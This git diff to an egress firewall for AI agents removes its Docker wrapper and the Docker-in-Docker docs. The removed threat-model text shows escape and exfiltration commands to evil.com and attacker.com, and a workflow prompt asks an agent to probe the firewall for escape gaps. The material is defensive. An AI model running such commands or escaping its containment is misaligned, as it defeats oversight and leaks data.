diff --git a/.claude/skills/debug-firewall/SKILL.md b/.claude/skills/debug-firewall/SKILL.md index 4029b075..ea96162f 100644 --- a/.claude/skills/debug-firewall/SKILL.md +++ b/.claude/skills/debug-firewall/SKILL.md @@ -33,9 +33,6 @@ docker logs -f awf-agent # Squid access log (traffic decisions) docker exec awf-squid cat /var/log/squid/access.log - -# Docker wrapper log (intercepted docker commands) -docker exec awf-agent cat /tmp/docker-wrapper.log ``` ### Analyze Traffic @@ -156,14 +153,6 @@ docker exec awf-agent cat /etc/resolv.conf sudo dmesg | grep "FW_DNS" ``` -**Docker-in-docker issues:** -```bash -# Check wrapper interception -docker exec awf-agent cat /tmp/docker-wrapper.log -# Verify network injection -docker exec awf-agent grep "INJECTING" /tmp/docker-wrapper.log -``` - ## Cleanup ```bash diff --git a/.github/workflows/firewall-escape-test.md b/.github/workflows/firewall-escape-test.md index 18228d59..3e77f3ee 100644 --- a/.github/workflows/firewall-escape-test.md +++ b/.github/workflows/firewall-escape-test.md @@ -127,16 +127,14 @@ You are running inside the AWF (Agent Workflow Firewall) container. Your goal is - `src/host-iptables.ts` - Host-level iptables rules - `src/squid-config.ts` - Squid proxy configuration - `src/docker-manager.ts` - Container lifecycle management - - `containers/copilot/setup-iptables.sh` - Container NAT rules - - `containers/copilot/docker-wrapper.sh` - Docker command interception - - `containers/copilot/entrypoint.sh` - Container startup + - `containers/agent/setup-iptables.sh` - Container NAT rules + - `containers/agent/entrypoint.sh` - Container startup - `AGENTS.md` - Architecture documentation 3. **Understand the layered architecture**: - How does the Squid proxy filter traffic? - What iptables rules are applied at the host level? - What NAT rules redirect traffic inside the container? - - How does the Docker wrapper prevent container escapes? 4. **Identify potential attack surfaces** based on what you learn: - Look for gaps between the layers diff --git a/.github/workflows/security-guard.md b/.github/workflows/security-guard.md index 3230719b..183266f6 100644 --- a/.github/workflows/security-guard.md +++ b/.github/workflows/security-guard.md @@ -53,10 +53,6 @@ This repository implements a **network firewall for AI agents** that provides L7 - Wildcard pattern security (prevents overly broad patterns) - Protocol prefix handling -6. **Docker wrapper** (`containers/agent/docker-wrapper.sh`) - - Intercepts docker commands to enforce network restrictions - - Injects proxy configuration into spawned containers - ## Your Task Analyze PR #${{ github.event.pull_request.number }} in repository ${{ github.repository }}. diff --git a/.github/workflows/test-examples.yml b/.github/workflows/test-examples.yml index 92cf310a..d9e708fb 100644 --- a/.github/workflows/test-examples.yml +++ b/.github/workflows/test-examples.yml @@ -61,11 +61,6 @@ jobs: echo "=== Testing blocked-domains.sh ===" sudo ./examples/blocked-domains.sh - - name: Test docker-in-docker.sh - run: | - echo "=== Testing docker-in-docker.sh ===" - sudo ./examples/docker-in-docker.sh - # Note: github-copilot.sh is skipped as it requires GITHUB_TOKEN for Copilot CLI # To test it, you would need to set up a secret with a valid Copilot token diff --git a/.github/workflows/test-integration.yml b/.github/workflows/test-integration.yml index edcd19c4..2d92650d 100644 --- a/.github/workflows/test-integration.yml +++ b/.github/workflows/test-integration.yml @@ -156,64 +156,3 @@ jobs: /tmp/awf-agent-logs-*/ /tmp/squid-logs-*/ retention-days: 7 - - test-docker-egress: - name: Docker Egress Tests - runs-on: ubuntu-latest - timeout-minutes: 10 - - steps: - - name: Checkout repository - uses: actions/checkout@08eba0b27e820071cde6df949e0beb9ba4906955 # v4 - - - name: Setup Node.js - uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4 - with: - node-version: '20' - cache: 'npm' - - - name: Install dependencies - run: npm ci - - - name: Build project - run: npm run build - - - name: Pre-test cleanup - run: sudo ./scripts/ci/cleanup.sh - - - name: Run docker egress tests - id: run-tests - run: | - sudo -E npm run test:integration -- docker-egress.test.ts 2>&1 | tee test-output.log - continue-on-error: true - - - name: Clean npm cache - if: always() - run: | - sudo npm cache clean --force - sudo rm -rf ~/.npm/_npx - - - name: Generate test summary - if: always() - run: | - npx tsx scripts/ci/generate-test-summary.ts "docker-egress.test.ts" "Docker Egress Tests" test-output.log - - - name: Check test results - if: steps.run-tests.outcome == 'failure' - run: exit 1 - - - name: Post-test cleanup - if: always() - run: sudo ./scripts/ci/cleanup.sh - - - name: Upload test logs on failure - if: failure() - uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4 - with: - name: docker-egress-test-logs - path: | - /tmp/*-test.log - /tmp/awf-*/ - /tmp/awf-agent-logs-*/ - /tmp/squid-logs-*/ - retention-days: 7 diff --git a/AGENTS.md b/AGENTS.md index 2f319afa..132ab58f 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -211,25 +211,18 @@ The codebase follows a modular architecture with clear separation of concerns: - **Firewall Exemption:** Allowed unrestricted outbound access via iptables rule `-s 172.30.0.10 -j ACCEPT` **Agent Execution Container** (`containers/agent/`) -- Based on `ubuntu:22.04` with iptables, curl, git, nodejs, npm, docker-cli +- Based on `ubuntu:22.04` with iptables, curl, git, nodejs, npm - Mounts entire host filesystem at `/host` and user home directory for full access -- Mounts Docker socket (`/var/run/docker.sock`) for docker-in-docker support - `NET_ADMIN` capability required for iptables setup during initialization - **Security:** `NET_ADMIN` is dropped via `capsh --drop=cap_net_admin` before executing user commands, preventing malicious code from modifying iptables rules - Two-stage entrypoint: 1. `setup-iptables.sh`: Configures iptables NAT rules to redirect HTTP/HTTPS traffic to Squid (agent container only) 2. `entrypoint.sh`: Drops NET_ADMIN capability, then executes user command as non-root user -- **Docker Wrapper** (`docker-wrapper.sh`): Intercepts `docker run` commands to inject network and proxy configuration - - Symlinked at `/usr/bin/docker` (real docker at `/usr/bin/docker-real`) - - Automatically injects `--network awf-net` to all spawned containers - - Injects proxy environment variables: `HTTP_PROXY`, `HTTPS_PROXY`, `http_proxy`, `https_proxy` - - Logs all intercepted commands to `/tmp/docker-wrapper.log` for debugging - Key iptables rules (in `setup-iptables.sh`): - Allow localhost traffic (for stdio MCP servers) - Allow DNS queries - Allow traffic to Squid proxy itself - Redirect all HTTP (port 80) and HTTPS (port 443) to Squid via DNAT (NAT table) - - **Note:** These NAT rules only apply to the agent container itself, not spawned containers ### Traffic Flow diff --git a/CLAUDE.md b/CLAUDE.md index ae605945..b97f7506 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -176,25 +176,18 @@ The codebase follows a modular architecture with clear separation of concerns: - **Firewall Exemption:** Allowed unrestricted outbound access via iptables rule `-s 172.30.0.10 -j ACCEPT` **Agent Execution Container** (`containers/agent/`) -- Based on `ubuntu:22.04` with iptables, curl, git, nodejs, npm, docker-cli +- Based on `ubuntu:22.04` with iptables, curl, git, nodejs, npm - Mounts entire host filesystem at `/host` and user home directory for full access -- Mounts Docker socket (`/var/run/docker.sock`) for docker-in-docker support - `NET_ADMIN` capability required for iptables setup during initialization - **Security:** `NET_ADMIN` is dropped via `capsh --drop=cap_net_admin` before executing user commands, preventing malicious code from modifying iptables rules - Two-stage entrypoint: 1. `setup-iptables.sh`: Configures iptables NAT rules to redirect HTTP/HTTPS traffic to Squid (agent container only) 2. `entrypoint.sh`: Drops NET_ADMIN capability, then executes user command as non-root user -- **Docker Wrapper** (`docker-wrapper.sh`): Intercepts `docker run` commands to inject network and proxy configuration - - Symlinked at `/usr/bin/docker` (real docker at `/usr/bin/docker-real`) - - Automatically injects `--network awf-net` to all spawned containers - - Injects proxy environment variables: `HTTP_PROXY`, `HTTPS_PROXY`, `http_proxy`, `https_proxy` - - Logs all intercepted commands to `/tmp/docker-wrapper.log` for debugging - Key iptables rules (in `setup-iptables.sh`): - Allow localhost traffic (for stdio MCP servers) - Allow DNS queries - Allow traffic to Squid proxy itself - Redirect all HTTP (port 80) and HTTPS (port 443) to Squid via DNAT (NAT table) - - **Note:** These NAT rules only apply to the agent container itself, not spawned containers ### Traffic Flow @@ -411,153 +404,6 @@ sudo cat /tmp/squid-logs-/access.log - Currently no test files exist (tsconfig excludes `**/*.test.ts`) - Integration testing: Run commands with `--log-level debug` and `--keep-containers` to inspect generated configs and container logs -## MCP Server Configuration for Copilot CLI - -### Overview - -GitHub Copilot CLI v0.0.347+ includes a **built-in GitHub MCP server** that connects to a read-only remote endpoint (`https://api.enterprise.githubcopilot.com/mcp/readonly`). This built-in server takes precedence over local MCP configurations by default, which prevents write operations like creating issues or pull requests. - -To use a local, writable GitHub MCP server with Copilot CLI, you must: -1. Configure the MCP server in the correct location with the correct format -2. Disable the built-in GitHub MCP server -3. Ensure proper environment variable passing - -### Correct MCP Configuration - -**Location:** The MCP configuration must be placed at: -- `~/.copilot/mcp-config.json` (primary location) - -The agent container mounts the HOME directory, so this config file is automatically accessible to GitHub Copilot CLI running inside the container. - -**Format:** -```json -{ - "mcpServers": { - "github": { - "type": "local", - "command": "docker", - "args": [ - "run", - "-i", - "--rm", - "-e", - "GITHUB_PERSONAL_ACCESS_TOKEN", - "-e", - "GITHUB_TOOLSETS=default", - "ghcr.io/github/github-mcp-server:v0.19.0" - ], - "tools": ["*"], - "env": { - "GITHUB_PERSONAL_ACCESS_TOKEN": "${GITHUB_PERSONAL_ACCESS_TOKEN}" - } - } - } -} -``` - -**Key Requirements:** -- ✅ **`"tools": ["*"]`** - Required field. Use `["*"]` to enable all tools, or list specific tool names - - ⚠️ Empty array `[]` means NO tools will be available -- ✅ **`"type": "local"`** - Required to specify local MCP server type -- ✅ **`"env"` section** - Environment variables must be declared here with `${VAR}` syntax for interpolation -- ✅ **Environment variable in args** - Use bare variable names in `-e` flags (e.g., `"GITHUB_PERSONAL_ACCESS_TOKEN"` without `$`) -- ✅ **Shell environment** - Variables must be exported in the shell before running awf -- ✅ **MCP server name** - Use `"github"` as the server name (must match `--allow-tool` flag) - -### Running Copilot CLI with Local MCP Through Firewall - -**Required setup:** -```bash -# Export environment variables (both required) -export GITHUB_TOKEN="" # For Copilot CLI authentication -export GITHUB_PERSONAL_ACCESS_TOKEN="" # For GitHub MCP server - -# Run awf with sudo -E to preserve environment variables -sudo -E awf \ - --allow-domains raw.githubusercontent.com,api.github.com,github.com,registry.npmjs.org,api.enterprise.githubcopilot.com \ - "npx @github/copilot@0.0.347 \ - --disable-builtin-mcps \ - --allow-tool github \ - --prompt 'your prompt here'" -``` - -**Critical requirements:** -- `sudo -E` - **REQUIRED** to pass environment variables through sudo to the agent container -- `--disable-builtin-mcps` - Disables the built-in read-only GitHub MCP server -- `--allow-tool github` - Grants permission to use all tools from the `github` MCP server (must match server name in config) -- MCP config at `~/.copilot/mcp-config.json` - Automatically accessible since agent container mounts HOME directory - -**Why `sudo -E` is required:** -1. `awf` needs sudo for iptables manipulation -2. `-E` preserves GITHUB_TOKEN and GITHUB_PERSONAL_ACCESS_TOKEN -3. These variables are passed into the agent container via the HOME directory mount -4. The GitHub MCP server Docker container inherits them from the agent container's environment - -### Troubleshooting - -**Problem:** MCP server starts but says "GITHUB_PERSONAL_ACCESS_TOKEN not set" -- **Cause:** Environment variable not passed correctly through sudo or to Docker container -- **Solution:** Use `sudo -E` when running awf, and ensure the variable is exported before running the command - -**Problem:** MCP config validation error: "Invalid input" -- **Cause:** Missing `"tools"` field -- **Solution:** Add `"tools": ["*"]` to the MCP server config - -**Problem:** Copilot uses read-only remote MCP instead of local -- **Cause:** Built-in MCP not disabled -- **Solution:** Add `--disable-builtin-mcps` flag to the copilot command - -**Problem:** Tools not available even with local MCP -- **Cause:** Wrong server name in `--allow-tool` flag -- **Solution:** Use `--allow-tool github` (must match the server name in mcp-config.json) - -**Problem:** Permission denied when running awf -- **Cause:** iptables requires root privileges -- **Solution:** Use `sudo -E awf` (not just `sudo awf`) - -### Verifying Local MCP Usage - -Check GitHub Copilot CLI logs (use `--log-level debug`) for these indicators: - -**Local MCP working:** -``` -Starting MCP client for github with command: docker -GitHub MCP Server running on stdio -readOnly=false -MCP client for github connected -``` - -**Built-in remote MCP (not what you want):** -``` -Using Copilot API endpoint: https://api.enterprise.githubcopilot.com/mcp/readonly -Starting remote MCP client for github-mcp-server -``` - -### CI/CD Configuration - -For GitHub Actions workflows: -1. Create MCP config script that writes to `~/.copilot/mcp-config.json` (note: `~` = `/home/runner` in GitHub Actions) -2. Export both `GITHUB_TOKEN` (for GitHub Copilot CLI) and `GITHUB_PERSONAL_ACCESS_TOKEN` (for GitHub MCP server) as environment variables -3. Pull the MCP server Docker image before running tests: `docker pull ghcr.io/github/github-mcp-server:v0.19.0` -4. Run awf with `sudo -E` to preserve environment variables -5. Always use `--disable-builtin-mcps` and `--allow-tool github` flags when running GitHub Copilot CLI - -**Example workflow step:** -```yaml -- name: Test GitHub Copilot CLI with GitHub MCP through firewall - env: - GITHUB_TOKEN: ${{ secrets.COPILOT_CLI_TOKEN }} - GITHUB_PERSONAL_ACCESS_TOKEN: ${{ secrets.GITHUB_TOKEN }} - run: | - sudo -E awf \ - --allow-domains raw.githubusercontent.com,api.github.com,github.com,registry.npmjs.org,api.enterprise.githubcopilot.com \ - "npx @github/copilot@0.0.347 \ - --disable-builtin-mcps \ - --allow-tool github \ - --log-level debug \ - --prompt 'your prompt here'" -``` - ## Logging Implementation ### Overview diff --git a/README.md b/README.md index 75c4de94..0342ef7a 100644 --- a/README.md +++ b/README.md @@ -9,7 +9,6 @@ A network firewall for agentic workflows with domain whitelisting. This tool pro - **L7 Domain Whitelisting**: Control HTTP/HTTPS traffic at the application layer - **Host-Level Enforcement**: Uses iptables DOCKER-USER chain to enforce firewall on ALL containers -- **Docker-in-Docker Support**: Spawned containers inherit firewall restrictions ## Get started fast @@ -113,7 +112,7 @@ sudo awf --help ## Explore the docs - [Quick start](docs/quickstart.md) — install, verify, and run your first command -- [Usage guide](docs/usage.md) — CLI flags, domain allowlists, Docker-in-Docker examples +- [Usage guide](docs/usage.md) — CLI flags, domain allowlists, examples - [SSL Bump](docs/ssl-bump.md) — HTTPS content inspection for URL path filtering - [Logging quick reference](docs/logging_quickref.md) and [Squid log filtering](docs/squid_log_filtering.md) — view and filter traffic - [Security model](docs/security.md) — what the firewall protects and how diff --git a/containers/agent/Dockerfile b/containers/agent/Dockerfile index 1e8af6c6..7a2e52c7 100644 --- a/containers/agent/Dockerfile +++ b/containers/agent/Dockerfile @@ -14,15 +14,13 @@ RUN apt-get update && \ gosu \ libcap2-bin && \ # Install Node.js 22 from NodeSource + # Remove any existing nodejs packages first to avoid conflicts + apt-get remove -y nodejs npm || true && \ curl -fsSL https://deb.nodesource.com/setup_22.x | bash - && \ apt-get install -y nodejs && \ - # Install Docker CLI for MCP servers that run as containers - install -m 0755 -d /etc/apt/keyrings && \ - curl -fsSL https://download.docker.com/linux/ubuntu/gpg -o /etc/apt/keyrings/docker.asc && \ - chmod a+r /etc/apt/keyrings/docker.asc && \ - echo "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.asc] https://download.docker.com/linux/ubuntu $(. /etc/os-release && echo "$VERSION_CODENAME") stable" | tee /etc/apt/sources.list.d/docker.list > /dev/null && \ - apt-get update && \ - apt-get install -y docker-ce-cli && \ + # Verify Node.js 22 was installed correctly + node --version | grep -q "^v22\." || (echo "ERROR: Node.js 22 not installed correctly" && exit 1) && \ + npx --version || (echo "ERROR: npx not found" && exit 1) && \ rm -rf /var/lib/apt/lists/* # Create non-root user with UID/GID matching host user @@ -36,17 +34,11 @@ RUN groupadd -g ${USER_GID} awfuser && \ mkdir -p /home/awfuser/.copilot/logs && \ chown -R awfuser:awfuser /home/awfuser -# Copy iptables setup script, docker wrapper, and PID logger +# Copy iptables setup script and PID logger COPY setup-iptables.sh /usr/local/bin/setup-iptables.sh COPY entrypoint.sh /usr/local/bin/entrypoint.sh -COPY docker-wrapper.sh /usr/local/bin/docker-wrapper.sh COPY pid-logger.sh /usr/local/bin/pid-logger.sh -RUN chmod +x /usr/local/bin/setup-iptables.sh /usr/local/bin/entrypoint.sh /usr/local/bin/docker-wrapper.sh /usr/local/bin/pid-logger.sh - -# Install docker wrapper to intercept docker commands -# Rename real docker binary and replace with wrapper -RUN mv /usr/bin/docker /usr/bin/docker-real && \ - ln -s /usr/local/bin/docker-wrapper.sh /usr/bin/docker +RUN chmod +x /usr/local/bin/setup-iptables.sh /usr/local/bin/entrypoint.sh /usr/local/bin/pid-logger.sh # Set working directory WORKDIR /workspace diff --git a/containers/agent/docker-wrapper.sh b/containers/agent/docker-wrapper.sh deleted file mode 100644 index 44d6cb40..00000000 --- a/containers/agent/docker-wrapper.sh +++ /dev/null @@ -1,100 +0,0 @@ -#!/bin/bash -# Docker wrapper that injects --network awf-net and proxy env vars to all docker run commands -# This ensures spawned containers are subject to the same firewall rules - -NETWORK_NAME="awf-net" -SQUID_PROXY="http://172.30.0.10:3128" -LOG_FILE="/tmp/docker-wrapper.log" - -# Log all docker commands -echo "[$(date -Iseconds)] WRAPPER CALLED: docker $@" >> "$LOG_FILE" - -# Check if this is a 'docker run' command -if [ "$1" = "run" ]; then - # Check if --network is already specified and detect --network host - # Also check for --add-host flag (DNS poisoning attack) - # Also check for --privileged flag (bypasses all security) - has_network=false - network_value="" - has_add_host=false - has_privileged=false - declare -a args=("$@") - - for i in "${!args[@]}"; do - arg="${args[$i]}" - - # Check for --add-host flag - if [[ "$arg" == "--add-host="* ]] || [[ "$arg" == "--add-host" ]]; then - has_add_host=true - fi - - # Check for --privileged flag - if [[ "$arg" == "--privileged" ]]; then - has_privileged=true - fi - - # Handle --network=value format - if [[ "$arg" == "--network="* ]]; then - has_network=true - network_value="${arg#--network=}" - continue - elif [[ "$arg" == "--net="* ]]; then - has_network=true - network_value="${arg#--net=}" - continue - # Handle --network value format - elif [[ "$arg" == "--network" ]] || [[ "$arg" == "--net" ]]; then - has_network=true - # Get next argument as network value - next_idx=$((i + 1)) - if [ $next_idx -lt ${#args[@]} ]; then - network_value="${args[$next_idx]}" - fi - continue - fi - done - - # Block --privileged as it bypasses all security restrictions - if [ "$has_privileged" = true ]; then - echo "[$(date -Iseconds)] BLOCKED: --privileged bypasses all firewall restrictions" >> "$LOG_FILE" - echo "[FIREWALL] ERROR: --privileged is not allowed (bypasses all security)" >&2 - echo "[FIREWALL] This flag grants unrestricted access and can disable firewall rules" >&2 - exit 1 - fi - - # Block --add-host as it enables DNS poisoning attacks - if [ "$has_add_host" = true ]; then - echo "[$(date -Iseconds)] BLOCKED: --add-host enables DNS poisoning to bypass firewall" >> "$LOG_FILE" - echo "[FIREWALL] ERROR: --add-host is not allowed (enables DNS poisoning)" >&2 - echo "[FIREWALL] This flag can map allowed domains to unauthorized IPs" >&2 - exit 1 - fi - - # Block --network host as it bypasses firewall - if [ "$has_network" = true ] && [ "$network_value" = "host" ]; then - echo "[$(date -Iseconds)] BLOCKED: --network host bypasses firewall, forcing --network $NETWORK_NAME" >> "$LOG_FILE" - echo "[FIREWALL] ERROR: --network host is not allowed (bypasses firewall)" >&2 - echo "[FIREWALL] All containers must use the firewall network" >&2 - exit 1 - fi - - # If --network not specified, inject it along with proxy environment variables - if [ "$has_network" = false ]; then - # Build new args: docker run --network awf-net -e HTTP_PROXY -e HTTPS_PROXY - shift # remove 'run' - echo "[$(date -Iseconds)] INJECTING --network $NETWORK_NAME and proxy env vars" >> "$LOG_FILE" - exec /usr/bin/docker-real run \ - --network "$NETWORK_NAME" \ - -e HTTP_PROXY="$SQUID_PROXY" \ - -e HTTPS_PROXY="$SQUID_PROXY" \ - -e http_proxy="$SQUID_PROXY" \ - -e https_proxy="$SQUID_PROXY" \ - "$@" - else - echo "[$(date -Iseconds)] --network $network_value already specified, passing through" >> "$LOG_FILE" - fi -fi - -# For all other commands or if --network already specified, pass through -echo "[$(date -Iseconds)] PASSING THROUGH: /usr/bin/docker-real $@" >> "$LOG_FILE" -exec /usr/bin/docker-real "$@" diff --git a/containers/agent/entrypoint.sh b/containers/agent/entrypoint.sh index 2178d729..98c39b10 100644 --- a/containers/agent/entrypoint.sh +++ b/containers/agent/entrypoint.sh @@ -111,21 +111,6 @@ if [ "${AWF_SSL_BUMP_ENABLED}" = "true" ]; then fi fi -# Setup Docker socket permissions if Docker socket is mounted -# This allows MCP servers that run as Docker containers to work -# Store DOCKER_GID once to avoid redundant stat calls -DOCKER_GID="" -if [ -S /var/run/docker.sock ]; then - echo "[entrypoint] Configuring Docker socket access..." - # Get the GID of the docker socket (store once) - DOCKER_GID=$(stat -c '%g' /var/run/docker.sock) - # Create docker group with same GID as host's docker socket - if ! getent group docker > /dev/null 2>&1; then - groupadd -g "$DOCKER_GID" docker || true - fi - echo "[entrypoint] Docker socket configured (GID: $DOCKER_GID)" -fi - # Setup iptables rules /usr/local/bin/setup-iptables.sh @@ -139,24 +124,6 @@ echo "[entrypoint] Network information:" echo "[entrypoint] IP address: $(hostname -I)" echo "[entrypoint] Hostname: $(hostname)" -# Add awfuser to docker group for Docker socket access -# This must be done after the docker group is created -# Security note: This grants awfuser access to the Docker daemon, which provides -# significant privileges. To disable this for untrusted workloads, set DISABLE_DOCKER_ACCESS=true -if [ "${DISABLE_DOCKER_ACCESS}" = "true" ]; then - if [ -S /var/run/docker.sock ]; then - echo "[entrypoint] Docker socket detected, but DISABLE_DOCKER_ACCESS is set to 'true'. Skipping docker group addition for awfuser." - fi -else - if [ -S /var/run/docker.sock ] && [ -n "$DOCKER_GID" ]; then - if getent group docker > /dev/null 2>&1; then - usermod -aG docker awfuser 2>/dev/null || true - echo "[entrypoint] Added awfuser to docker group (GID: $DOCKER_GID)" - echo "[entrypoint] NOTE: awfuser has Docker socket access. Set DISABLE_DOCKER_ACCESS=true to prevent this." - fi - fi -fi - # Configure git safe directories for awfuser # Use runuser instead of su to avoid PAM session issues runuser -u awfuser -- git config --global --add safe.directory '*' 2>/dev/null || true diff --git a/docs-site/src/content/docs/reference/cli-reference.md b/docs-site/src/content/docs/reference/cli-reference.md index 38209cd5..b4d0eec3 100644 --- a/docs-site/src/content/docs/reference/cli-reference.md +++ b/docs-site/src/content/docs/reference/cli-reference.md @@ -212,7 +212,6 @@ Mount host directories into container. Format: `host_path:container_path[:ro|rw] **Default mounts:** - Host filesystem at `/host` (read-only) - User home directory (read-write) -- Docker socket at `/var/run/docker.sock` ### `--container-workdir ` diff --git a/docs-site/src/content/docs/reference/security-architecture.md b/docs-site/src/content/docs/reference/security-architecture.md index 6bbc56bf..fa4f64e0 100644 --- a/docs-site/src/content/docs/reference/security-architecture.md +++ b/docs-site/src/content/docs/reference/security-architecture.md @@ -23,7 +23,6 @@ This firewall solves a specific problem: **egress control for AI agents running - **Full filesystem access**: Agents read and write files freely. If your threat model requires filesystem isolation, you need additional controls. - **Localhost communication**: Required for stdio-based MCP servers running alongside the agent. - **DNS to trusted servers only**: DNS queries are restricted to configured DNS servers (default: Google DNS). This prevents DNS-based data exfiltration to attacker-controlled DNS servers. -- **Docker socket access**: The agent can spawn containers—we intercept and constrain them, but the capability exists. --- @@ -146,25 +145,9 @@ The agent never connects directly to the internet. Even if it explicitly tries t --- -## The Tricky Bits: Spawned Containers +## Host DOCKER-USER Chain -The hardest problem we solve is constraining containers the agent spawns dynamically. An agent might run `docker run --network=host alpine curl attacker.com` to escape the firewall network entirely. - -We handle this at two levels: - -### docker-wrapper.sh - -A shell script symlinked at `/usr/bin/docker` inside the agent container (real Docker CLI at `/usr/bin/docker-real`). It intercepts all `docker run` commands and: - -1. **Strips dangerous network flags**: `--network=host`, `--net=host`, `--network=bridge` -2. **Injects `--network=awf-net`**: Forces the container onto our controlled network -3. **Injects proxy environment variables**: `HTTP_PROXY`, `HTTPS_PROXY` pointing to Squid - -The agent and its MCP servers see normal Docker behavior; they don't know their network requests are being rewritten. - -### Host DOCKER-USER Chain - -Even with docker-wrapper, we don't fully trust it—an agent could theoretically find the real Docker binary or exploit a wrapper bug. The DOCKER-USER chain provides a backstop: +The host-level DOCKER-USER chain provides a critical security layer for all containers on the awf-net network: ```bash # Simplified rules (actual implementation in src/host-iptables.ts) @@ -176,11 +159,11 @@ iptables -A FW_WRAPPER -p tcp -d 172.30.0.10 -j ACCEPT # Traffic to iptables -A FW_WRAPPER -j DROP # Everything else blocked ``` -Any container on `awf-net`—whether we created it or the agent spawned it—has its egress filtered. Traffic either goes through Squid or gets dropped. +Any container on `awf-net` has its egress filtered. Traffic either goes through Squid or gets dropped. ### Why Not a Network Namespace Jail? -We considered isolating the agent in a network namespace with zero external connectivity, proxying everything through a sidecar. This fails for MCP servers that spawn child processes or containers—each would need its own namespace setup. The iptables + proxy approach handles arbitrary process trees transparently. +We considered isolating the agent in a network namespace with zero external connectivity, proxying everything through a sidecar. This fails for MCP servers that spawn child processes—each would need its own namespace setup. The iptables + proxy approach handles arbitrary process trees transparently. ### Why Squid Over mitmproxy? @@ -252,11 +235,10 @@ Only enable SSL Bump when you specifically need URL path filtering. For most use | **Squid container** | Crashes or hangs | Agent traffic can't reach proxy, connections time out | Fail-secure | | **Agent container** | Crashes | No agent traffic to filter | Fail-secure | | **Container NAT rules** | Not applied (entrypoint fails) | Agent traffic goes direct, but hits DOCKER-USER DROP | Fail-secure | -| **Host DOCKER-USER rules** | Removed by attacker with root | Spawned containers bypass proxy | **Fail-open** | +| **Host DOCKER-USER rules** | Removed by attacker with root | Traffic bypasses proxy | **Fail-open** | | **DNS** | Unreachable | Name resolution fails, agent can't connect anywhere | Fail-secure | -| **docker-wrapper.sh** | Bypassed or buggy | Spawned container tries wrong network, but DOCKER-USER blocks | Fail-secure | -The host iptables rules are our single point of fail-open vulnerability. If an attacker gains root on the runner and clears DOCKER-USER, spawned containers escape filtering. We accept this because: +The host iptables rules are our single point of fail-open vulnerability. If an attacker gains root on the runner and clears DOCKER-USER, traffic escapes filtering. We accept this because: 1. Root on the runner means the attacker already won (they can read secrets, modify code, etc.) 2. GitHub Actions runners are ephemeral—rules are reestablished each job @@ -280,19 +262,6 @@ curl: (56) Received HTTP code 403 from proxy after CONNECT ``` Squid logs the attempt with timestamp, source IP, and full URL. The token never leaves the runner. -### Agent Spawns Evasion Container - -**Attack:** Agent runs: -```bash -docker run --rm --network=host alpine sh -c 'wget -q -O- https://evil.com/exfil?data=...' -``` - -**Mitigation:** docker-wrapper.sh intercepts, rewrites to: -```bash -docker run --rm --network=awf-net -e HTTP_PROXY=... -e HTTPS_PROXY=... alpine sh -c '...' -``` -Container joins `awf-net`, egress hits DOCKER-USER, routes through Squid, blocked by ACL. - ### DNS Tunneling **Attack:** Agent encodes data in DNS queries to an attacker-controlled DNS server: @@ -319,8 +288,6 @@ DNS tunneling through the *allowed* DNS servers (encoding data in query names to **Non-HTTP protocols are blocked, not filtered.** SSH (port 22), raw TCP, custom protocols—all dropped by iptables. We don't inspect them for allowed destinations. If your agent needs SSH access to specific hosts, you'll need additional rules. -**Docker socket grants significant privilege.** The agent can spawn containers, inspect the Docker daemon, potentially escape to host in some configurations. We mitigate network escape but not Docker escape. For truly untrusted code, consider gVisor or Kata Containers. - **Single-runner scope.** The firewall protects one workflow job on one runner. It doesn't coordinate across parallel jobs or provide organization-wide policy. Each job configures its own allowlist. --- diff --git a/docs/architecture.md b/docs/architecture.md index 0e06ea96..1f51721c 100644 --- a/docs/architecture.md +++ b/docs/architecture.md @@ -75,25 +75,18 @@ The firewall uses a containerized architecture with Squid proxy for L7 (HTTP/HTT - **Firewall Exemption:** Allowed unrestricted outbound access via iptables rule `-s 172.30.0.10 -j ACCEPT` ### Agent Execution Container (`containers/agent/`) -- Based on `ubuntu:22.04` with iptables, curl, git, nodejs, npm, docker-cli +- Based on `ubuntu:22.04` with iptables, curl, git, nodejs, npm - Mounts entire host filesystem at `/host` and user home directory for full access -- Mounts Docker socket (`/var/run/docker.sock`) for docker-in-docker support - `NET_ADMIN` capability required for iptables setup during initialization - **Security:** `NET_ADMIN` is dropped via `capsh --drop=cap_net_admin` before executing user commands, preventing malicious code from modifying iptables rules - Two-stage entrypoint: 1. `setup-iptables.sh`: Configures iptables NAT rules to redirect HTTP/HTTPS traffic to Squid (agent container only) 2. `entrypoint.sh`: Drops NET_ADMIN capability, then executes user command as non-root user -- **Docker Wrapper** (`docker-wrapper.sh`): Intercepts `docker run` commands to inject network and proxy configuration - - Symlinked at `/usr/bin/docker` (real docker at `/usr/bin/docker-real`) - - Automatically injects `--network awf-net` to all spawned containers - - Injects proxy environment variables: `HTTP_PROXY`, `HTTPS_PROXY`, `http_proxy`, `https_proxy` - - Logs all intercepted commands to `/tmp/docker-wrapper.log` for debugging - Key iptables rules (in `setup-iptables.sh`): - Allow localhost traffic (for stdio MCP servers) - Allow DNS queries - Allow traffic to Squid proxy itself - Redirect all HTTP (port 80) and HTTPS (port 443) to Squid via DNAT (NAT table) - - **Note:** These NAT rules only apply to the agent container itself, not spawned containers ## Traffic Flow diff --git a/docs/environment.md b/docs/environment.md index 85ed61ba..2c8be159 100644 --- a/docs/environment.md +++ b/docs/environment.md @@ -17,7 +17,7 @@ awf --env-all 'command' When using `sudo -E`, these host variables are automatically passed: `GITHUB_TOKEN`, `GH_TOKEN`, `GITHUB_PERSONAL_ACCESS_TOKEN`, `USER`, `TERM`, `HOME`, `XDG_CONFIG_HOME`. -The following are always set/overridden: `HTTP_PROXY`, `HTTPS_PROXY` (Squid proxy), `PATH`, `DOCKER_HOST`, `DOCKER_CONTEXT` (container values). +The following are always set/overridden: `HTTP_PROXY`, `HTTPS_PROXY` (Squid proxy), `PATH` (container values). Variables from `--env` flags override everything else. @@ -30,7 +30,7 @@ Using `--env-all` passes all host environment variables to the container, which 3. **Unnecessary Access**: Extra variables increase attack surface (violates least privilege) 4. **Accidental Sharing**: Easy to forget what's in your environment when sharing commands -**Excluded variables** (even with `--env-all`): `PATH`, `DOCKER_HOST`, `DOCKER_CONTEXT`, `DOCKER_CONFIG`, `PWD`, `OLDPWD`, `SHLVL`, `_`, `SUDO_*` +**Excluded variables** (even with `--env-all`): `PATH`, `PWD`, 